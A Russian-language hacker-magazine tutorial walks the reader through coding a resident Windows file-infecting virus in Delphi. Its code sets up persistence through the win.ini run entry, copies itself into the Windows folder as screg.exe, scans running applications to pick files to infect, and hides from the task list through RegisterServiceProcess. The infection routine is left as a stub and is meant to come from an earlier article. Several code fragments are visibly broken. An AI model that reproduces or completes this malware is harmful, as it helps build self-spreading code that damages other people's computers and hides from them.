Привет, друг мой. Судя по письмам наших уважаемых телезрителей, народ
жаждет продолжения. В лице описания работы какого-нибудь злобного и высококонтагиозного вируса. Ну что ж, наш журнал всегда готов удовлетворить самые
изощренные фантазии читателей 🙂 Запасись пивом и сухарями, потому что без них тебе будет
сложно вникнуть в тонкости 🙂

НАША ЛОГИКА

Кодить мы с тобой будем резидентный вирус. Принцип его работы будет иметь мало общего с описанным мной в
прошлой статье (и с типичными образцами жанра), поэтому читай внимательнее. Во-первых при первом запуске на чьей-то машине наш вирус будет писать себя в автозагрузку (с помощью win.ini ;)), и запускаясь таким образом с каждым стартом windows, висеть в оперативке весь сеанс работы, проверяя запуск юзером нужных нам файлов. А как ты помнишь, нужный файл это любой исполнимый, но еще нами не зараженный 😉 Эту ситуацию мы исправим, заразив его.

Естественно, копия вируса в памяти не будет светиться по Ctrl-Alt-De- это уже традиция, мне даже как-то неудобно об этом говорить 🙂 Копия же вируса, запущенная из зараженного файла, не будет делать ничего, кроме запуска зараженной проги (процедур заражения и восстановления файла в этой статье я касаться не буду, поскольку описывал их в прошлый раз). 

КОДИНГ

Делай, как всегда, project--> source, киляй окно формы, и мы начнем работать с таким вот DPRом:

{$D-}
{$I-}
program RESIDEND;
begin
end;

Ну вот, почти чистый лист, а у некоторых читателей уже может возникнуть вопрос: че это за ключи я объявил первыми двумя строчками. Да легко
- ключ {$D-} запрещает компилятору включать в код отладочную информацию (размер кода имеет значение ;)), а {$I-}- запрещает контроль ошибок ввода-вывода. Таким образом, при возникновении IO ошибки мы словим не радостное красное окно "CONGRAULATIONS! DAS IS GLUK! FILE NOT FOUND!!!" :), а всего лишь изменение переменной IOResult. Да, еще
- можешь сначала писать вирь, имеющий свое окно 🙂 Тогда ты сможешь выводить лог его работы в какой-нибудь ListBox, а когда все будет пинцетно
- преобразуешь его в чистый вид. Идем дальше, объяви для себя переменные:

My: File;
PerfectCopy,WorkComplete: boolean;
st,pres: string;
win: TIniFile;
virpath: string;
windir: array [0..255] of char;
Wnd : hWnd;
CONsT Virlen: longint= 1000000000;

Во как 🙂 Это оказалось даже проще, чем ты ожидал 🙂 Разберемся: 
My - наш зараженный файл, откуда мы, может быть, стартовали.
Wnd - дескриптор окна приложения, которое в данный момент запущено.
PerfectCopy- если она равна TRUE, значит либо ты запустил только что откомпилированный вирус, либо вирус в чистом виде стартанул из автозагрузки. В любом случае, нам не надо ничего восстанавливать и запускать, надо только сидеть и заражать. Вот и глянь, как ЭТО надо делать:

procedure WorkMemory;
begin
While WorkComplete=FALSE do
begin
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO BEGIN
IF (Wnd <> Application.Handle) AND
(GetWindow(Wnd, gw_Owner) = 0)
THEN INFECTFILES;
end;

Тут все, я думаю, ясно - до тех пор, пока это надо (как только станет не надо, в процедуре InfectFiles вставишь WorkComplet= TRUE) мы получаем список запущенных приложений и ловим хэндл главного окна. Остается только заразить файл, чье главное окно мы так круто словили. Для заражения тебе придется либо работать с запущенным файлом (для этого юзай функции API, поскольку с их помощью можно разрешить чужим потокам писать в файл), или жди завершения работы проги-кандидата. Ой, нет, я кажется, гоню. Проблема в том, что эти строки я пишу во время ночного дежурства в больнице, на служебном компе в редакторе Dos Navigatorа 🙂 Так что не гнать я не могу 😉 Ну,
в общем, ты можешь файл-кандидат засунуть в оперативку:

var Memory : TMemoryStream;
begin
Memory := TMemoryStream.Create;
try
Memory.LoadFromFile(жертва); 
..
Memory.Read(...); 
Memory.Write (....)
Memory.Seek(...);
FileSize := Memory.Size;
..
finally
Memory.Free;
end;
end;

И там производить действия, не боясь ошибок. А потом готовенький файл записать на диск командой SaveToFile. 

Да, еще - проверку на application.handle надо делать только если ты пишешь вирус с окном. Т.е. в дебуг-версии 🙂 
Затем, для полноценной работы, тебе еще нужны будут процедуры INFECTFILE и CUREANDWORK- первая будет заражать найденный файл , а вторая, соответственно, восстанавливать зараженный файл и запускать его. Эти процедуры ты напишешь уже сам, ориентируясь на пример из статьи "HLLP вирус своими руками". А мы давай посмотрим, как должна выглядеть рабочая версия вируса::

{$D-}
{$I-}
program RES;
USES windows,inifiles;
var
//Объявляешь переменные
//Модуль процедур

procedure INFECTFILE;
begin

end;
procedure CUREANDWORK;
begin

end;
procedure WorkMemory;
begin

end;
//КОНЕЦ МОДУЛЯ ПРОЦЕДУР, НАЧАЛО ОСНОВНОГО КОДА
begin
WorkComplete:=FALSE;
GetWindowsDirectory (windir,255);
virpath:= windir+'\screg.exe';
Win:= TIniFile.Create('win.ini');
//Поглядим в win.ini
Win.ReadString ('windows','run',pres);
IF pres<> virpath then win.WriteString('windows','run',virpath);
//Ах, не мы?? Теперь мы 🙂
Win.Free;
//Сохраняем
end.

AssignFile (My,ParamStr(0));
If FileSize(My)=VirLen then
begin
PerfectCopy:= TRUE;
end else CureAndWork;

IF (PerfectCopy= true) AND (ParamStr(0)<>'screg.exe') then
//К виндам
begin
st:= paramstr(0);
St:= st+#0; virpath:= virpath+#0;
CopyFile (@st[1],@virpath[1],false);
//Все, теперь мы есть 🙂
WorkMemory;
end;
IF ParamStr(0)= 'scres.exe' the WorkMemory;

Не просто, а очень просто 🙂 Даже не хочется ничего объяснять, чесслово! Да ладно, шучу я. Логика основной части такова: получаем путь к виндам, смотрим нет ли еще нашей базовой части в автозагрузке (почему я люблю автозагрузку из win.ini? Да потому что в RUN реестра пишутся все, кому не лень, и умные юзеры туда иногда смотрят 🙂 Да и наш код получился бы слишком тяжелым), если нет
- то записываемся и переносим себя в папку 🙂 к виндам под именем screg.exe- это и будет наш резидентный модуль. Вот и все, процедуру заражения дописывай по своему вкусу
- не забудь только, когда будешь восстанавливать зараженную программу проверить
- есть ли резидентная часть в автозагрузке. Если нет
- ты знаешь, что делать!!! Опс, я опять забыл- про невидимость. Ведь если юзер нажмет на три клавиши, то сильно удивится наличию посторонней проги. Да и кнопка на панели задач может возбудить его подозрения.
В общем, в модуле функций- вставляй

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';

В начале основной части-

RegisterServiceProcess(GetCurrentProcessID, 0);

Так, я пойду отдохну, а ты читай заключение и жди следующей статьи.

Заключение

Ну вот, ты уже в состоянии закодить резидентный вирус. Конечно, резидентным его можно назвать с сильной натяжкой, но все-таки он работает. Да, во избежание тормозов не выясняй список запущенных приложений постоянно. Лучше каждую секунду. Так мы не будем заметны. Ладно, спокойной ночи- в следующий раз я напишу тебе про интернет вирус.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии